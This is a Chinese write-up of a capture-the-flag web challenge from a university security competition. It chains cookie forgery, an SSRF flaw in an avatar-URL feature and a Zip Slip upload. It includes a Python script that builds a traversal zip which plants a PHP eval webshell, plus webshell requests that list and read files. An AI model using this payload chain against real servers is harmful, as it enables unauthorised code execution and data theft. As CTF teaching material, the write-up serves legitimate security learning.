第十九届全国大学生信息安全竞赛半决赛 Web 题 easy_time 详细题解:Cookie 伪造 + Zip Slip + SSRF 拿 Flag

题目来源:第十九届全国大学生信息安全竞赛(创新实践能力赛)暨第三届"长城杯"网数智安全大赛(防护赛) 半决赛

一、附件分析

题目给了 Docker Compose 配置文件 docker-compose.yaml,其内容:

yaml 复制代码
services:
  web:
    build: .
    container_name: question-web
    ports:
      - "5000:5000"
    expose:
      - "80"
    environment:
      - PYTHONUNBUFFERED=1
      - PYTHONDONTWRITEBYTECODE=1
      - DB_PATH=/data/app.db
    volumes:
      - appdata:/data
    read_only: true
    tmpfs:
      - /tmp:rw,nosuid,nodev,noexec,size=64m
      - /app/uploads:rw,nosuid,nodev,noexec,size=128m,mode=0755
      - /app/plugins:rw,nosuid,nodev,noexec,size=128m,mode=0755
      - /app/static/uploads:rw,nosuid,nodev,noexec,size=128m,mode=0755
      - /var/run/apache2:rw,nosuid,nodev,noexec,size=16m
      - /var/lock/apache2:rw,nosuid,nodev,noexec,size=16m
    restart: unless-stopped

volumes:
  appdata:

从中我们可以得到一个关键信息:容器监听了 80 端口,但是这个端口并不会直接暴露给宿主机(不能直接通过"主机IP:80"进行访问),这可能意味着本题可能会用到 SSRF。

二、浏览页面 + 源码辅助分析

1、登入界面

访问:127.0.0.1:5000

页面会重定向到 /login,查看源码逻辑:

python 复制代码
# index.py
@app.route('/')
def home():
    if is_logged_in():
        return flask.redirect(flask.url_for("dashboard"))
    return flask.redirect(flask.url_for("login"))

通过 is_logged_in() 函数决定跳转到哪个页面,查看该函数的逻辑;

python 复制代码
# index.py
def is_logged_in() -> bool:
    return flask.request.cookies.get("visited") == "yes" and bool(flask.request.cookies.get("user"))

发现问题!它简单地通过 Cookie 中的两个参数决定用户是否已经登入,我们只需要伪造 Cookie 成:

http 复制代码
Cookie: visited=yes;user=admin

即可绕过登入验证。

需要注意的坑点是,检验是在根目录即 127.0.0.1:5000/ 而不是在登入界面 127.0.0.1:5000/login,因此要抓的包是在根目录抓的:


因为源码中定义了装饰器 login_required

python 复制代码
def login_required(view):
    def wrapped(*args, **kwargs):
        if not is_logged_in():
            next_url = flask.request.full_path if flask.request.query_string else flask.request.path
            return flask.redirect(flask.url_for("login", next=next_url))
        return view(*args, **kwargs)

    wrapped.__name__ = view.__name__
    return wrapped

后续主界面的函数都被装饰器修饰:

python 复制代码
@app.route("/dashboard")
@login_required
......
@app.route('/plugin/upload', methods=['GET', 'POST'])
@login_required
......
......

因此,后续操作都有 Cookie 的验证,若没有则会重返登入界面。

为了操作方便,可以使用 Burp 的 Session Handling Rules 功能。

首先,进入 Settings → Sessions → Session Handling Rules

点击 Add 新建一条规则,在 Rule Actions 中点击 Add → Set a specific cookie or parameter value 填写:

  • Name:Cookie 名称
  • Value:Cookie 的值

还需要勾选下方的"If not ......",并选择"cookie",这意味着如果请求头的 Cookie 中如果没有该字段,则会自动添加。

同理,设置另外一个:

切换到 Scope 标签页,设置该规则作用的工具范围(Proxy、Repeater、Scanner 等)和 URL 范围

点击 OK 保存。

现在,我们访问任何页面,Burp 都会帮我们带上指定的 Cookie了。

当然,这里还要另一种做法,也就是 MD5 碰撞,因为登入判断逻辑写在了源代码而不是数据库中:

python 复制代码
@app.route('/login', methods=['GET', 'POST'])
def login():
    if flask.request.method == 'POST':
        username = flask.request.form.get('username', '')
        password = flask.request.form.get('password', '')

        h1 = hashlib.md5(password.encode('utf-8')).hexdigest()
        h2 = hashlib.md5(h1.encode('utf-8')).hexdigest()
        next_url = flask.request.args.get("next") or flask.url_for("dashboard")

        if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde":
            resp = flask.make_response(flask.redirect(next_url))
            resp.set_cookie('visited', 'yes', httponly=True, samesite='Lax')
            resp.set_cookie('user', username, httponly=True, samesite='Lax')
            return resp

        return flask.render_template('login.html', error='用户名或密码错误', username=username), 401

    return flask.render_template('login.html', error=None, username='')
  • 用户名:admin
  • 密码需要其哈希值与"7022cd14c42ff272619d6beacdc9ffde"相等

在 CMD5 上查询该值:

得到密码为 secret。

2、About

还记得在看 YAML 文件时候得到的结论吗?(SSRF)

带着这个问题,我们可以看到 /about 页面的"头像远程 URL"的功能:

尝试访问 80 端口,得到回显:

也就是说,存在 SSRF 漏洞,对应代码:

python 复制代码
def fetch_remote_avatar_info(url: str):
    if not url:
        return None

    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in {"http", "https"}:
        return None
    if not parsed.hostname:
        return None

    req = urllib.request.Request(url, method="GET", headers={"User-Agent": "question-app/1.0"})
    

    try:
        with urllib.request.urlopen(req, timeout=3) as resp:
            content = resp.read()
            return {
                "content_snippet": content,
                "status": getattr(resp, "status", None),
                "content_type": resp.headers.get("Content-Type", ""),
                "content_length": resp.headers.get("Content-Length", ""),
            }
    except Exception:
        return None

仅校验协议是否为 httphttps,并没校验访问的地址,而且还将访问后的结果(content)返回了,并传作为模板引擎的上下文。

python 复制代码
remote_info=fetch_remote_avatar_info(avatar_url)

通过模板引擎渲染给用户:

html 复制代码
{% if remote_info %}
            <div style="margin-top:8px; font-size:12px; opacity:.85;">
              远程信息:
              <code>type={{ remote_info.content_type or '?' }}</code>
              <code>len={{ remote_info.content_length or '?' }}</code>
              <code>len={{ remote_info.content_snippet or '?' }}</code>
            </div>
{% endif %}

尝试读取一些常见的存放 flag 的目录:

但是并没有结果。

于是想着:我们是否可以通过文件上传,上传木马文件,访问后获取 WebShell 呢?

3、文件上传

存在文件上传的地方共有两处,一个是 http://127.0.0.1:5000/plugin/upload,另一个是 http://127.0.0.1:5000/about,分别审查代码后发现,插件上传的地方存在 Zip Slip 漏洞:

python 复制代码
@app.route('/plugin/upload', methods=['GET', 'POST'])
@login_required
def upload_plugin():
    if flask.request.method == 'GET':
        return flask.render_template('plugin_upload.html', error=None, ok=None, files=None)

    file = flask.request.files.get('plugin')
    if not file or not file.filename:
        return flask.render_template('plugin_upload.html', error='请选择一个 zip 文件', ok=None, files=None), 400

    filename = secure_filename(file.filename)
    if not filename.lower().endswith('.zip'):
        return flask.render_template('plugin_upload.html', error='仅支持 .zip 文件', ok=None, files=None), 400

    saved = UPLOAD_DIR / f"{uuid4().hex}-{filename}"
    file.save(saved)

    dest = PLUGIN_DIR / f"{Path(filename).stem}-{uuid4().hex[:8]}"
    dest.mkdir(parents=True, exist_ok=True)

    try:
        print(saved, dest)
        extracted = safe_upload(saved, dest)
    except Exception:
        shutil.rmtree(dest, ignore_errors=True)
        return flask.render_template('plugin_upload.html', error='解压失败:压缩包内容不合法', ok=None, files=None), 400

    return flask.render_template('plugin_upload.html', error=None, ok='上传并解压成功', files=extracted)
python 复制代码
def safe_upload(zip_path: Path, dest_dir: Path) -> list[str]:
    with zipfile.ZipFile(zip_path, 'r') as z:
        for info in z.infolist():
            target = os.path.join(dest_dir, info.filename)  
            if info.is_dir():
                os.makedirs(target, exist_ok=True)
            else:
                os.makedirs(os.path.dirname(target), exist_ok=True)
                with open(target, 'wb') as f:
                    f.write(z.read(info.filename))

safe_upload 中,将压缩包中的条目一一取出(for info in z.infolist()),将路径拼接(os.path.join(dest_dir, info.filename))之后,未对 target 进行校验,就直接写入指定目录中。

用 Python 构造恶意 Zip:

python 复制代码
import zipfile
import io

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr("../../../var/www/html/shell.php", b"<?php @eval($_GET[1]); ?>")

with open("payload.zip", "wb") as f:
    f.write(zip_buffer.getvalue())

为什么用"../../../var/www/html/shell.php"作为文件条目呢?

原因有:

  • 前面的"../"是为了利用 Zip Slip 实现目录穿越,写木马于指定目录
  • 目标为"/var/www/html"是因为:
    • 80 端口起的是 Apache,默认工作目录就是 /var/www/html(而且在Dockerfile 中也有体现)
    • 我们的最终目的是通过 SSRF 访问 80 端口下的木马文件(shell.php

将生成的 payload.zip 上传。

经服务器一解压,一存放,在指定目录下就有了一句话木马文件(shell.php)。

三、WebShell

通过 SSRF 访问木马文件,并与之交互得到信息。

测试:

测试成功,木马可用,接下来就是查找文件了,看看根目录下有没有文件:

复制代码
http://127.0.0.1/shell.php?1=system('ls%20/');

发现 flag 就在根目录下,直接读取:

复制代码
http://127.0.0.1/shell.php?1=system('cat%20/flag');

得到 flag:

相关推荐
oi..9 小时前
Flag入门—修改数据包拿到答案
笔记·测试工具·安全·网络安全
unable code10 小时前
[网鼎杯 2020 玄武组]SSRFMe
网络安全·web·ctf·1024程序员节
一只鼠标猴10 小时前
甲方安全基线:配置规范与自动化核查落地指南
网络安全·安全架构·安全基线·基线检查
半路_出家ren11 小时前
Nginx基础学习
运维·网络·网络协议·学习·nginx·网络安全
缘友一世13 小时前
GOAD(game of Activate Directory)本地(ubuntu24.04+virtual box)部署
网络安全·域渗透
Chockmans1 天前
春秋云境CVE-2021-44915
web安全·网络安全·春秋云境·cve-2021-44915
Codefengfeng1 天前
【目录爆破+权限提升】
网络安全
JS_SWKJ1 天前
MQTT协议如何穿透单向网闸?IoT/IIoT场景下的安全“破壁”之道
网络安全
黑战士安全1 天前
基于Ollama的自动化渗透测试框架:设计方案
web安全·网络安全·渗透测试